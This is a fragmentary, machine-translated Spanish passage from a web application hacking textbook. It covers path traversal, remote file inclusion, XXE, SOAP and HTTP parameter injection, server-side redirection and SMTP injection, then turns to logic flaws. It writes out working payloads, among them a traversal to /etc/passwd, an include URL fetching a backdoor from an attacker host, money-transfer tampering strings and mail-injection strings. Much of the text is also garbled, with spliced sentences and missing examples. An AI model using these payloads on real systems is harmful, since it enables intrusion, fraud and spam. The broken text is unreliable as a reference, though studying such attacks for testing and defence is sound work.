un esquema de codificación personalizado para nombres de archivo que finalmente se manejaban de
manera insegura. Demostró cómo la ofuscación no sustituye a la seguridad.
La aplicación contenía algunas funciones de flujo de trabajo que permitían a los
usuarios cargar y descargar archivos. La solicitud que realizaba la carga proporcionó un
parámetro de nombre de archivo que era vulnerable a un ataque de cruce de ruta al
escribir el archivo. Cuando un archivo se cargaba con éxito, la aplicación proporcionaba
a los usuarios una URL para descargarlo nuevamente. Había dos advertencias importantes:
el sistema de archivos del servidor, no fue posible sobrescribir ningún archivo existente.
Además, los bajos privilegios del proceso del servidor web significaban que no era
posible crear un nuevo archivo en ninguna ubicación interesante. En segundo lugar, no
era posible solicitar un archivo existente arbitrario (como /etc/passwd) sin aplicar
ingeniería inversa a la codificación personalizada, lo que presentaba un desafío largo y poco atractivo.
Un poco de experimentación reveló que las URL ofuscadas contenían la cadena de nombre
de archivo original proporcionada por el usuario. Por ejemplo:
../../../../../.././etc/passwd/../../tmp/foo
/tmp/foo
Por lo tanto, podría ser escrito por el servidor web. Cargando este archivo producido
una URL de descarga que contiene el siguiente nombre de archivo ofuscado:
FhwUk1rNXFUVEJOZW1kNlRsUk5NazE2V1RKTmFrMHdUbXBWZWs1NldYaE5lb
FhwUk1rNXFUVEJOZW1kNlRsUk5NazE2V1RKTmFrM
Intentar descargar un archivo usando este valor devolvió el archivo passwd del servidor
como se esperaba. El servidor nos había proporcionado suficientes recursos para poder
codificar rutas de archivo arbitrarias usando su esquema, ¡sin siquiera descifrar el algoritmo
de ofuscación que se estaba usando!
Habiendo identificado una vulnerabilidad transversal de ruta que proporciona acceso de lectura o escritura a
archivos arbitrarios en el sistema de archivos del servidor, ¿qué tipo de ataques puede llevar a cabo al
explotarlos? En la mayoría de los casos, descubrirá que tiene el mismo nivel de acceso de lectura/escritura
al sistema de archivos que el proceso del servidor web.
PASOS DE HACK
Puede explotar las fallas transversales de la ruta de acceso de lectura para recuperar archivos interesantes
del servidor que pueden contener información directamente útil o que lo ayudan a refinar los ataques contra
otras vulnerabilidades. Por ejemplo:
Fuentes de datos utilizadas por la aplicación, como archivos de bases de datos MySQL o
archivos XML
n El código fuente de las páginas ejecutables por el servidor para realizar una revisión del código en
busca de errores (por ejemplo, GetImage.aspx?file=GetImage.aspx) n Los archivos de registro de la
Si encuentra una vulnerabilidad de cruce de ruta que otorga acceso de escritura, su objetivo principal
debe ser explotar esto para lograr la ejecución arbitraria de comandos en el servidor. Estas son algunas
formas de aprovechar esta vulnerabilidad: n Cree secuencias de comandos en las carpetas de inicio de los
usuarios. n Modifique archivos como in.ftpd para ejecutar comandos arbitrarios cuando
no es posible, la aplicación puede mantener una lista codificada de archivos de imagen que
puede servir la página. Puede usar un identificador diferente para especificar qué archivo se
requiere, como un número de índice. Se puede rechazar cualquier solicitud que contenga un
identificador no válido y no existe una superficie de ataque para que los usuarios manipulen la
ruta de los archivos entregados por la página.
En algunos casos, como ocurre con la funcionalidad de flujo de trabajo que permite la carga y
descarga de archivos, puede ser deseable permitir que los usuarios especifiquen los archivos por nombre.
Los desarrolladores pueden decidir que la forma más fácil de implementar esto es pasar el nombre
de archivo proporcionado por el usuario a las API del sistema de archivos. En esta situación, la
aplicación debe adoptar un enfoque de defensa en profundidad para colocar varios obstáculos en
el camino de un ataque transversal.
Aquí hay algunos ejemplos de defensas que pueden usarse; idealmente, ya que muchos de
Estos, en la medida de lo posible, deben implementarse juntos:
si es la raíz del sistema de archivos, y cualquier secuencia transversal redundante que intente
pasar por encima de ella se ignora. Los sistemas de archivos chroot son compatibles de forma
nativa en la mayoría de las plataformas basadas en UNIX. Se puede lograr un efecto similar en
las plataformas Windows (en relación con las vulnerabilidades transversales, al menos) montando
el directorio de inicio relevante como una nueva unidad lógica y usando la letra de la unidad
asociada para acceder a su contenido.
La aplicación debe integrar sus defensas contra ataques de cruce de ruta con sus mecanismos
de registro y alerta. Cada vez que se recibe una solicitud que contiene secuencias transversales
de ruta, esto indica una probable intención maliciosa por parte del usuario. La aplicación debe
registrar la solicitud como un intento de violación de la seguridad , cancelar la sesión del usuario
y, si corresponde, suspender la cuenta del usuario y generar una alerta para un administrador.
https://wahh-app.com/main.php?Country=US
Esto hace que el entorno de ejecución cargue el archivo US.php que se encuentra en el
sistema de archivos del servidor web. El contenido de este archivo se copia efectivamente en el
archivo main.php y se ejecuta.
Machine Translated by Google
Un atacante puede explotar este comportamiento de diferentes formas, la más seria de las cuales es
especificar una URL externa como la ubicación del archivo de inclusión. La función de inclusión de PHP
acepta esto como entrada, y el entorno de ejecución recupera el archivo especificado y ejecuta su
contenido. Por lo tanto, un atacante puede construir un script malicioso que contenga contenido
arbitrariamente complejo, alojarlo en un servidor web que controle e invocarlo para su ejecución a través
de la función de la aplicación vulnerable. Por ejemplo:
https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor
En algunos casos, los archivos de inclusión se cargan sobre la base de datos controlables por el usuario,
pero no es posible especificar una URL para un archivo en un servidor externo. Por ejemplo, si los datos
controlables por el usuario se pasan a la función ASP Server.Execute, un atacante puede hacer que se
ejecute una secuencia de comandos ASP arbitraria, siempre que esta secuencia de comandos pertenezca
a la misma aplicación que la que está llamando a la función. .
En esta situación, es posible que aún pueda explotar el comportamiento de la aplicación para realizar
acciones no autorizadas:
n Es posible que haya archivos ejecutables del servidor en el servidor a los que no pueda acceder a
través de la ruta normal. Por ejemplo, cualquier solicitud a la ruta /admin puede bloquearse a
través de controles de acceso a toda la aplicación. Si puede hacer que se incluya una
funcionalidad confidencial en una página a la que está autorizado a acceder, es posible que
pueda obtener acceso a esa funcionalidad. n Puede haber recursos estáticos en el servidor que
estén igualmente protegidos contra el acceso directo. Si puede hacer que estos se incluyan
dinámicamente en otras páginas de la aplicación, el entorno de ejecución normalmente
simplemente copia el contenido del recurso estático en su respuesta.
Pueden surgir vulnerabilidades de inclusión de archivos en relación con cualquier elemento de los datos
proporcionados por el usuario. Son particularmente comunes en los parámetros de solicitud que
especifican un idioma o una ubicación. También suelen surgir cuando el nombre de un archivo del lado
del servidor se pasa explícitamente como parámetro.
Machine Translated by Google
PASOS DE HACK
1. Envíe en cada parámetro de destino una URL para un recurso en un servidor web que controle
y determine si se reciben solicitudes del servidor que aloja la aplicación de destino.
2. Si la primera prueba falla, intente enviar una URL que contenga una dirección IP inexistente
y determine si se produce un tiempo de espera mientras el servidor intenta conectarse.
4. Pruebe para ver si puede acceder a archivos en otros directorios utilizando las técnicas
transversales descritas anteriormente.
<Search><SearchTerm>nada cambiará</SearchTerm></Search>
El script del lado del cliente procesa esta respuesta y actualiza parte del usuario
interfaz con los resultados de la búsqueda.
Cuando encuentre este tipo de funcionalidad, siempre debe verificar la inyección de entidad
externa XML (XXE). Esta vulnerabilidad surge porque las bibliotecas de análisis XML estándar
admiten el uso de referencias a entidades. Estos son simplemente un método para hacer referencia
a los datos, ya sea dentro o fuera del documento XML. Las referencias a entidades deben resultar
familiares de otros contextos. Por ejemplo, las entidades correspondientes a los caracteres < y >
son las siguientes:
<
>
El formato XML permite definir entidades personalizadas dentro del propio documento XML.
Esto se hace dentro del elemento DOCTYPE opcional al comienzo del documento. Por ejemplo:
Esto hace que el analizador XML busque el contenido del archivo especificado y lo use
en lugar de la referencia de entidad definida, que el atacante ha usado dentro del elemento
SearchTerm . Debido a que el valor de este elemento se repite en la respuesta de la
aplicación, esto hace que el servidor responda con el contenido del archivo, de la siguiente
manera:
HTTP/1.1 200 Aceptar
Tipo de contenido: texto/xml; conjunto de caracteres = utf-8
Longitud del contenido: 556
...
¡INTENTALO!
http://mdsec.net/search/128/
Machine Translated by Google
n El atacante puede comprobar si hay puertos abiertos en los sistemas back-end al pasar
por un gran número de direcciones IP y números de puerto. En algunos casos, las
diferencias de tiempo se pueden utilizar para inferir el estado de un puerto solicitado. En
otros casos, los banners de servicio de algunos servicios pueden devolverse dentro de
las respuestas de la aplicación.
Por último, si la aplicación recupera la entidad externa pero no la devuelve en las respuestas,
aún es posible provocar una denegación de servicio al leer un flujo de archivos de forma
indefinida. Por ejemplo:
FromAccount=18281008&Amount=1430&ToAccount=08447656&Submit=Enviar
<jabón:Sobre xmlns:soap=”http://www.w3.org/2001/12/soap-envelope”>
<jabón:Cuerpo>
<pre:Agregar xmlns:pre=http://target/lists soap:encodingStyle= “http://www.w3.org/2001/12/soap-
encoding”>
<Cuenta>
<DeCuenta>18281008</DeCuenta>
<Cantidad>1430</Cantidad>
<ClearedFunds>Falso</ClearedFunds>
<ParaCuenta>08447656</ParaCuenta>
</Cuenta>
</pre:Agregar>
</jabon:Cuerpo>
</jabon:Sobre>
Tenga en cuenta cómo los elementos XML en el mensaje corresponden a los parámetros
en la solicitud HTTP y también la adición del elemento ClearedFunds . En este punto de la
lógica de la aplicación, ha determinado que no hay suficientes fondos disponibles para
realizar la transferencia solicitada y ha establecido el valor de este elemento en Falso.
Como resultado, el componente que recibe el mensaje SOAP no actúa sobre él.
En esta situación, hay varias formas en las que podría intentar inyectar en el mensaje
SOAP y, por lo tanto, interferir con la lógica de la aplicación. Por ejemplo, enviar la siguiente
solicitud hace que se inserte un elemento ClearedFunds adicional en el mensaje antes del
elemento original ( manteniendo la validez sintáctica del SQL). Si la aplicación procesa el
primer elemento ClearedFunds que encuentra, puede realizar una transferencia cuando no
haya fondos disponibles:
FromAccount=18281008&Amount=1430</Amount><Fondos Liquidados>Verdadero
</ClearedFunds><Cantidad>1430&ToAccount=08447656&Submit=Enviar
FromAccount=18281008&Amount=1430</Amount><Fondos Liquidados>Verdadero
</ClearedFunds><ToAccount><!--&ToAccount=-->08447656&Submit=Enviar
Otro tipo de ataque sería intentar completar todo el mensaje SOAP desde un
parámetro inyectado y comentar el resto del mensaje. Sin embargo, debido a que el
comentario de apertura no coincidirá con un comentario de cierre, este ataque
produce XML estrictamente no válido, que muchos analizadores de XML rechazarán.
Es probable que este ataque solo funcione contra un analizador XML personalizado
y de cosecha propia, en lugar de cualquier biblioteca de análisis XML:
POST /banco/27/Default.aspx HTTP/1.0
Anfitrión: mdsec.net
FromAccount=18281008&Amount=1430</Amount><Fondos Liquidados>Verdadero
</FondosAclarados>
<ToAccount>08447656</ToAccount></Account></pre:Add></soap:Body>
</soap:Envelope> <!--
&Submit=Enviar
¡INTENTALO!
http://mdsec.net/bank/27/
http://mdsec.net/bank/18/
http://mdsec.net/bank/6/
Machine Translated by Google
PASOS DE HACK
1. Envíe una etiqueta de cierre XML no autorizada como </foo> en cada parámetro por turno.
Si no ocurre ningún error, es probable que su entrada no se inserte en un mensaje
SOAP o que se esté desinfectando de alguna manera.
prueba<foo></foo>
Si la inyección de SOAP es difícil de detectar, puede ser aún más difícil de explotar. En
la mayoría de las situaciones, necesita conocer la estructura del XML que rodea sus datos
para proporcionar una entrada diseñada que modifique el mensaje sin invalidarlo. En todas
las pruebas anteriores, busque mensajes de error que revelen detalles sobre el mensaje
SOAP que se está procesando. Si tiene suerte, un mensaje detallado revelará el mensaje
completo, lo que le permitirá construir valores elaborados para explotar la vulnerabilidad. Si
no tiene suerte, es posible que se limite a puras conjeturas, lo que es muy poco probable
que tenga éxito.
Machine Translated by Google
n < — <
n > — >
n / — /
Los ataques de redirección HTTP del lado del servidor permiten que un atacante especifique
un recurso o URL arbitrario que luego solicita el servidor de aplicaciones front-end. Los
ataques de inyección de parámetros HTTP (HPI) permiten que un atacante inyecte parámetros
arbitrarios en una solicitud HTTP de back-end realizada por el servidor de aplicaciones. Si
un atacante inyecta un parámetro que ya existe en la solicitud de back-end, los ataques de
contaminación de parámetros HTTP (HPP) pueden usarse para anular el valor del parámetro
original especificado por el servidor.
Las vulnerabilidades de redirección del lado del servidor surgen cuando una aplicación toma una
entrada controlable por el usuario y la incorpora en una URL que recupera mediante una solicitud
HTTP de back-end. La entrada proporcionada por el usuario puede comprender la URL completa
que se recupera, o la aplicación puede realizar algún procesamiento en ella, como agregar un sufijo
estándar.
Machine Translated by Google
ver=predeterminado&loc=online.wahh-blogs.net/css/wahh.css
ver=predeterminado&loc=192.168.0.1:22
SSH-2.0-OpenSSH_4.2Desajuste de protocolo.
Un atacante puede explotar los errores de redirección HTTP del lado del servidor para usar de
manera efectiva la aplicación vulnerable como un proxy HTTP abierto para realizar varios ataques adicionales:
n Un atacante puede usar el proxy para volver a conectarse a otros servicios que se
ejecutan en el propio servidor de aplicaciones, eludiendo las restricciones del
cortafuegos y explotando potencialmente las relaciones de confianza para eludir la
autenticación. n Por último, la funcionalidad del proxy podría usarse para lanzar ataques
como cross-site scripting al hacer que la aplicación incluya contenido controlado por
el atacante dentro de sus respuestas (consulte el Capítulo 12 para obtener más detalles).
PASOS DE HACK
3. Intente especificar una URL dirigida a un servidor en Internet que usted controle y
supervise ese servidor en busca de conexiones entrantes desde la aplicación que
está probando.
b. Si tiene éxito, intente escanear los puertos de la red interna utilizando una herramienta
como Burp Intruder para conectarse a un rango de direcciones IP y puertos en
secuencia (consulte el Capítulo 14). C. Intente conectarse a otros servicios en la
dirección de bucle invertido del servidor de aplicaciones. d. Intente cargar una página
web que usted controla en la respuesta de la aplicación para lanzar un ataque de
NOTA Algunas API de redirección del lado del servidor, como Server.Transfer() y
Server.Execute() en ASP.NET, permiten la redirección solo a direcciones URL relativas en
el mismo host. La funcionalidad que pasa la entrada proporcionada por el usuario a uno de
estos métodos aún puede explotarse potencialmente para explotar las relaciones de
confianza y acceder a los recursos en el servidor que están protegidos por la autenticación a
nivel de plataforma.
Machine Translated by Google
¡INTENTALO!
http://mdsec.net/updates/97/
http://mdsec.net/updates/99/
FromAccount=18281008&Amount=1430&ToAccount=08447656&Submit=Enviar
Esta solicitud de front-end, enviada desde el navegador del usuario, hace que la aplicación
realice una solicitud HTTP de back-end adicional a otro servidor web dentro de la infraestructura
del banco. En esta solicitud de back-end, la aplicación copia algunos de los valores de los
parámetros de la solicitud de front-end:
Esta solicitud hace que el servidor de fondo verifique si los fondos compensados están
disponibles para realizar la transferencia y, de ser así, para llevarla a cabo. Sin embargo, el
servidor front -end puede especificar opcionalmente que los fondos compensados están
disponibles y, por lo tanto, omitir la verificación, proporcionando el siguiente parámetro:
fondos despejados=verdadero
FromAccount=18281008&Amount=1430&ToAccount=08447656%26clearedfunds%3dtru
e&Enviar=Enviar
Machine Translated by Google
08447656&fondoslimpiados=verdadero
fromacc=18281008&amount=1430&toacc=08447656&clearedfunds=true
¡INTENTALO!
http://mdsec.net/bank/48/
HPP es una técnica de ataque que surge en varios contextos (consulte los Capítulos 12 y 13
para ver otros ejemplos) y que a menudo se aplica en el contexto de ataques HPI.
Las especificaciones de HTTP no brindan pautas sobre cómo deben comportarse los
servidores web cuando una solicitud contiene varios parámetros con el mismo nombre. En la
práctica, diferentes servidores web se comportan de diferentes maneras. Estos son algunos
comportamientos comunes:
está apuntando. En esta situación, el atacante puede usar la condición HPI para inyectar
una segunda instancia del mismo parámetro. El comportamiento de la aplicación
resultante depende de cómo el servidor HTTP de back-end maneja el parámetro duplicado.
El atacante puede usar la técnica HPP para "anular" el valor del parámetro original con
el valor de su parámetro inyectado.
Por ejemplo, si la solicitud de back-end original es la siguiente:
fromacc=18281008&amount=1430&clearedfunds=false&toacc=08447656
FromAccount=18281008%26clearedfunds%3dtrue&Amount=1430&ToAccount=0844765
6&Enviar=Enviar
¡INTENTALO!
http://mdsec.net/bank/52/
http://mdsec.net/bank/57/
Los resultados de los ataques HPP dependen en gran medida de cómo el servidor
de aplicaciones de destino maneje múltiples ocurrencias del mismo parámetro y el punto
de inserción preciso dentro de la solicitud de back-end. Esto tiene consecuencias
significativas si dos tecnologías necesitan procesar la misma solicitud HTTP. Un firewall
de aplicaciones web o un proxy inverso pueden procesar una solicitud y pasarla a la
aplicación web, que puede proceder a descartar variables, ¡o incluso crear cadenas a
partir de partes previamente dispares de la solicitud!
Un buen artículo que cubre los diferentes comportamientos de la aplicación común.
Los servidores se pueden encontrar aquí:
www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
Machine Translated by Google
/pub/usuario/marcus
/inc/user_mgr.php?mode=view&name=marcus
En esta situación, puede ser posible usar un ataque HPI para inyectar un segundo modo
parámetro en la URL reescrita. Por ejemplo, si el atacante solicita esto:
/pub/usuario/marcus%26mode=editar
/inc/user_mgr.php?mode=view&name=marcus&mode=editar
Como se describió para los ataques HPP, el éxito de este exploit depende de cómo el
servidor maneje el parámetro ahora duplicado. En la plataforma PHP, el parámetro de modo
se trata como si tuviera el valor de edición, por lo que el ataque tiene éxito.
Machine Translated by Google
PASOS DE HACK
1. Apunte a cada parámetro de solicitud por turno e intente agregar un nuevo parámetro
inyectado usando varias sintaxis:
n %26foo%3dbar — &foo=bar con codificación URL
FromAccount=18281008%26Amount%3d4444&Amount=1430&ToAcco
unt=08447656
Muchas aplicaciones contienen una función para que los usuarios envíen mensajes a través de la
aplicación , por ejemplo, para informar de un problema al personal de soporte o proporcionar
comentarios sobre el sitio web. Esta función generalmente se implementa mediante la interfaz con
un servidor de correo (o SMTP). Por lo general, la entrada proporcionada por el usuario se inserta en el SMTP
Machine Translated by Google
Las vulnerabilidades de inyección SMTP a menudo son aprovechadas por los spammers que escanean
Internet en busca de formularios de correo vulnerables y los utilizan para generar grandes volúmenes de
correo electrónico molesto.
Considere el formulario que se muestra en la figura 10-6, que permite a los usuarios enviar
comentarios sobre la aplicación.
Aquí, los usuarios pueden especificar una dirección De y el contenido del mensaje. La aplicación
pasa esta entrada al comando PHP mail() , que construye el correo electrónico y realiza la
conversación SMTP necesaria con su servidor de correo configurado. El correo generado es el
siguiente:
[email protected]&Asunto=Sitio+comentarios&Mensaje=foo
Esto hace que la aplicación web realice una conversación SMTP con los siguientes
comandos:
CORREO DE: [email protected]
RCPT A: [email protected]
DATOS
De: [email protected]
Para: [email protected] Asunto:
Comentarios sobre el sitio
Foo
.
Machine Translated by Google
[email protected]&Asunto=Sitio+comentarios%0d%0afoo%0d%0a%2e%0d
%0aCORREO+DE:[email protected]%0d%0aRCPT+PARA:+john@wahh-mail
.com%0d%0aDATA%0d%0aDe:[email protected]%0d%0aPara:+john@wahh-mail
.com%0d%0aAsunto:+Barato+V1AGR4%0d%0aBlah%0d%0a%2e%0d%0a&Mensaje=foo
De: [email protected]
Para: [email protected]
Asunto: V1AGR4 barato
Paja
.
Foo
.
también debe realizar pruebas para cada tipo de ataque, y debe realizar cada caso de
prueba utilizando caracteres de nueva línea al estilo de Windows y UNIX.
PASOS DE HACK
1. Debe enviar cada una de las siguientes cadenas de prueba como cada parámetro, insertando su
propia dirección de correo electrónico en la posición correspondiente:
<tucorreoelectrónico>%0aCc:<tucorreoelectrónico>
<tucorreo>%0d%0aCc:<tucorreo>
<tucorreoelectrónico>%0aBcc:<tucorreoelectrónico>
<tucorreo>%0d%0aBcc:<tucorreo>
%0aDATA%0afoo%0a%2e%0aCORREO+DE:+<sucorreoelectrónico>%0aRCPT+TO:
+<sucorreoelectrónico>%0aDATA%0aDe:+<sucorreoelectrónico>%0aPara:+<sucorreoelectrónico>%0aS
asunto:+test% 0afoo%0a%2e%0a
%0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aCORREO+DE:+<sucorreoelectrónico>%0
d%0aRCPT+TO:+<sucorreoelectrónico>%0d%0aDATA%0d%0aDe:+<sucorreoelectrónico> %
0d%0aPara:+<sucorreoelectrónico>%0d%0aAsunto:+prueba%0d%0
afoo%0d%0a%2e%0d%0a
2. Anote cualquier mensaje de error que devuelva la aplicación. Si estos parecen estar relacionados
con algún problema en la función de correo electrónico, investigue si necesita ajustar su entrada
para explotar una vulnerabilidad.
3. Es posible que las respuestas de la aplicación no indiquen de ninguna manera si existe una
vulnerabilidad o si se aprovechó con éxito. Debe monitorear la dirección de correo electrónico
que especificó para ver si se recibe algún correo.
n Las direcciones de correo electrónico deben cotejarse con una expresión regular adecuada
(que, por supuesto, debería rechazar cualquier carácter de nueva línea).
n El asunto del mensaje no debe contener caracteres de nueva línea y puede estar limitado a una
longitud adecuada. n Si el contenido de un mensaje se usa directamente en una conversación
Resumen
Hemos examinado una amplia gama de ataques dirigidos a componentes de aplicaciones de back-end y
los pasos prácticos que puede seguir para identificar y explotar cada uno. Muchas vulnerabilidades del
mundo real se pueden descubrir en los primeros segundos de interactuar con una aplicación. Por
ejemplo, podría ingresar alguna sintaxis inesperada en un cuadro de búsqueda. En otros casos, estas
vulnerabilidades pueden ser muy sutiles, manifestándose en diferencias apenas detectables en el
comportamiento de la aplicación, o solo accesibles a través de un proceso de varias etapas de envío y
manipulación de entradas manipuladas.
Para estar seguro de que ha descubierto las fallas de inyección de back-end que existen dentro de
una aplicación, debe ser minucioso y paciente. Prácticamente todos los tipos de vulnerabilidades pueden
manifestarse en el procesamiento de prácticamente cualquier elemento de los datos proporcionados por
el usuario, incluidos los nombres y valores de los parámetros de la cadena de consulta, los datos POST
y las cookies, y otros encabezados HTTP. En muchos casos, un defecto surge solo después de un
sondeo exhaustivo del parámetro relevante a medida que aprende exactamente qué tipo de procesamiento
se está realizando en su entrada y analiza los obstáculos que se interponen en su camino.
Frente a la enorme superficie de ataque potencial que presentan los ataques potenciales contra los
componentes de la aplicación de back-end, puede sentir que cualquier ataque serio a una aplicación
debe implicar un esfuerzo titánico. Sin embargo, parte de aprender el arte de atacar el software es
adquirir un sexto sentido para saber dónde está escondido el tesoro y cómo es probable que su objetivo
se abra para que pueda robarlo. La única forma de obtener este sentido es a través de la práctica. Debe
ensayar las técnicas que hemos descrito en las aplicaciones de la vida real que encuentre y ver cómo se
destacan.
Machine Translated by Google
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
1. Un dispositivo de red proporciona una interfaz basada en web para realizar la configuración del
dispositivo. ¿Por qué este tipo de funcionalidad suele ser vulnerable a los ataques de inyección
de comandos del sistema operativo?
http://wahh-app.com/home/statsmgr.aspx?country=US
Cambiar el valor del parámetro de país a foo da como resultado este mensaje de error:
3. Está probando una aplicación AJAX que envía datos en formato XML dentro de las
solicitudes POST. ¿Qué tipo de vulnerabilidad podría permitirle leer archivos arbitrarios
del sistema de archivos del servidor? ¿Qué requisitos previos deben existir para que su
ataque tenga éxito?
127.0.0.1. ¿Cómo podría eludir esta defensa para acceder a los recursos
del servidor?
7. Una aplicación contiene una función para comentarios de los usuarios. Esto permite al usuario
proporcionar su dirección de correo electrónico, un asunto del mensaje y comentarios detallados.
La aplicación envía un correo electrónico a [email protected], dirigido desde la
dirección de correo electrónico del usuario, con la línea de asunto y los comentarios
proporcionados por el usuario en el cuerpo del mensaje. ¿Cuál de las siguientes es una
defensa válida contra los ataques de inyección de correo?
Valide que las entradas proporcionadas por el usuario no contengan líneas nuevas u otros
metacaracteres SMTP.
Machine Translated by Google
CAPÍTULO R
11
Todas las aplicaciones web emplean la lógica para ofrecer su funcionalidad. Escribir
código en un lenguaje de programación implica en su raíz nada más que dividir un
proceso complejo en pasos lógicos simples y discretos. Traducir una parte de la
funcionalidad que es significativa para los seres humanos en una secuencia de
pequeñas operaciones que puede ejecutar una computadora requiere mucha
habilidad y discreción. Hacerlo de manera elegante y segura es aún más difícil.
Cuando un gran número de diferentes diseñadores y programadores trabajan en
paralelo en la misma aplicación, existe una gran posibilidad de que ocurran errores.
En todas las aplicaciones web, excepto en las más simples, se ejecuta una gran cantidad
de lógica en cada etapa. Esta lógica presenta una intrincada superficie de ataque que
siempre está presente pero que a menudo se pasa por alto. Muchas revisiones de código y
pruebas de penetración se enfocan exclusivamente en las vulnerabilidades "titulares"
comunes, como la inyección de SQL y las secuencias de comandos entre sitios, porque
tienen una firma fácilmente reconocible y un vector de explotación bien investigado. Por el
contrario, las fallas en la lógica de una aplicación son más difíciles de caracterizar: cada
instancia puede parecer una ocurrencia única y, por lo general, no son identificadas por
ningún escáner de vulnerabilidad automatizado. Como resultado, generalmente no son tan
bien apreciados o entendidos y, por lo tanto, son de gran interés para un atacante.
Este capítulo describe los tipos de fallas lógicas que a menudo existen en las
aplicaciones web y los pasos prácticos que puede tomar para sondear y atacar la lógica
de una aplicación. Presentaremos una serie de ejemplos del mundo real, cada uno de
los cuales manifiesta un tipo diferente de defecto lógico. Juntos, ilustran la variedad de supuestos
405
Machine Translated by Google
que hacen los diseñadores y desarrolladores que pueden conducir directamente a una lógica
defectuosa y exponer una aplicación a vulnerabilidades de seguridad.
Las fallas de lógica en las aplicaciones web son extremadamente variadas. Van desde
errores simples que se manifiestan en un puñado de líneas de código hasta vulnerabilidades
complejas que surgen de la interoperación de varios componentes centrales de la aplicación.
En algunos casos, pueden ser obvios y fáciles de detectar; en otros casos, pueden ser
excepcionalmente sutiles y susceptibles de eludir incluso la revisión de código o la prueba
de penetración más rigurosas.
A diferencia de otras fallas de codificación, como la inyección SQL o las secuencias de
comandos entre sitios, ninguna "firma" común está asociada con las fallas lógicas. La
característica definitoria, por supuesto, es que la lógica implementada dentro de la aplicación
es defectuosa de alguna manera. En muchos casos, el defecto se puede representar en
términos de una suposición específica que hizo el diseñador o desarrollador, ya sea explícita
o implícitamente, que resulta ser defectuosa. En términos generales, un programador puede
haber razonado algo así como "Si sucede A, entonces B debe ser el caso, así que haré C".
El programador no hizo la pregunta completamente diferente "¿Pero qué pasa si ocurre X?"
y por lo tanto no consideró un escenario que viola el supuesto. Dependiendo de las
circunstancias, esta suposición errónea puede abrir una vulnerabilidad de seguridad significativa.
A medida que ha aumentado la conciencia de las vulnerabilidades comunes de las
aplicaciones web en los últimos años, la incidencia y la gravedad de algunas categorías de
vulnerabilidades han disminuido notablemente. Sin embargo, debido a la naturaleza de las
fallas lógicas, es poco probable que alguna vez se eliminen a través de estándares para
desarrollo seguro, uso de herramientas de auditoría de código o pruebas de penetración
normales. La diversa naturaleza de las fallas lógicas, y el hecho de que detectarlas y
prevenirlas a menudo requiere una buena medida de pensamiento lateral, sugiere que
prevalecerán durante un buen tiempo. Cualquier atacante serio, por lo tanto, debe prestar
mucha atención a la lógica empleada en la aplicación a la que apunta para tratar de descubrir
las suposiciones que probablemente hicieron los diseñadores y desarrolladores. Luego debe
pensar imaginativamente sobre cómo se pueden violar esos supuestos.
Por lo tanto, los conocimientos obtenidos del estudio de una muestra de fallas lógicas deberían ayudarlo
a descubrir nuevas fallas en situaciones completamente diferentes.
La Funcionalidad
La aplicación implementó una función de "recuérdame" mediante la cual un usuario podía
evitar iniciar sesión en la aplicación en cada visita al permitir que la aplicación estableciera
una cookie permanente dentro del navegador. Esta cookie se protegió contra la
manipulación o la divulgación mediante un algoritmo de cifrado que se ejecutó sobre una
cadena compuesta por el nombre, la identificación del usuario y los datos volátiles para
garantizar que el valor resultante fuera único y no se pudiera predecir. Para asegurarse de
que un atacante que tuviera acceso a él no pudiera reproducirlo , también se recopilaron
datos específi cos de la máquina, incluida la dirección IP.
Esta cookie se consideró justificadamente una solución robusta para proteger una
pieza potencialmente vulnerable de la funcionalidad comercial requerida.
Además de una función de "recuérdame", la aplicación tenía la funcionalidad de
almacenar el nombre de pantalla del usuario dentro de una cookie llamada ScreenName.
De esa manera, el usuario podría recibir un saludo personalizado en la esquina del sitio la
próxima vez que visite el sitio. Al decidir que este nombre también era una pieza de
información de seguridad, se consideró que esto también debería estar encriptado.
La suposición
Los desarrolladores decidieron que debido a que la cookie ScreenName tenía un valor
considerablemente menor para un atacante que la cookie RememberMe , también podrían
usar el mismo algoritmo de cifrado para protegerla. Lo que no consideraron fue que un
usuario puede especificar su nombre de pantalla y verlo en pantalla. Esto inadvertidamente
les dio a los usuarios acceso a la función de cifrado (y la clave de cifrado) utilizada para
proteger el token de autenticación persistente RememberMe.
El ataque
Bienvenido, marcus|734|192.168.4.282750184
Aunque esto era interesante, no era necesariamente un problema de alto riesgo. Simplemente
significaba que dada una cookie encriptada de RememberMe , un atacante podría enumerar el
contenido, incluido un nombre de usuario, una identificación de usuario y una dirección IP.
Debido a que no se almacenó ninguna contraseña en la cookie, no hubo forma inmediata de
actuar sobre la información obtenida.
El problema real surgió del hecho de que los usuarios podían especificar sus nombres de pantalla.
Como resultado, un usuario podría elegir este nombre de pantalla, por ejemplo:
administrador|1|192.168.4.282750184
Cuando el usuario cierra sesión y vuelve a iniciar sesión, la aplicación cifra este valor y lo
almacena en el navegador del usuario como la cookie de nombre de pantalla cifrada .
Si un atacante envió este token encriptado como el valor de la cookie RememberMe , la aplicación
lo descifró, leyó la ID de usuario e ingresó al atacante como administrador. A pesar de que el
cifrado era Triple DES, utilizando una clave segura y protegida contra ataques de repetición, la
aplicación podría aprovecharse como un "oráculo de cifrado" para descifrar y cifrar valores
arbitrarios.
PASOS DE HACK
La Funcionalidad
La aplicación implementó una función de cambio de contraseña para los usuarios finales. Requería que
el usuario completara los campos para el nombre de usuario, la contraseña existente, la nueva
contraseña y la confirmación de la nueva contraseña.
También había una función de cambio de contraseña para uso de los administradores.
Esto les permitió cambiar la contraseña de cualquier usuario sin proporcionar la contraseña
existente. Las dos funciones se implementaron dentro del mismo script del lado del servidor.
La suposición
La interfaz del lado del cliente presentada a los usuarios y administradores difería en un
aspecto: la interfaz del administrador no contenía un campo para la contraseña existente.
Cuando la aplicación del lado del servidor procesaba una solicitud de cambio de contraseña,
usaba la presencia o ausencia del parámetro de contraseña existente para indicar si la
solicitud era de un administrador o de un usuario normal. En otras palabras, asumió que
los usuarios comunes siempre proporcionarían un parámetro de contraseña existente.
El ataque
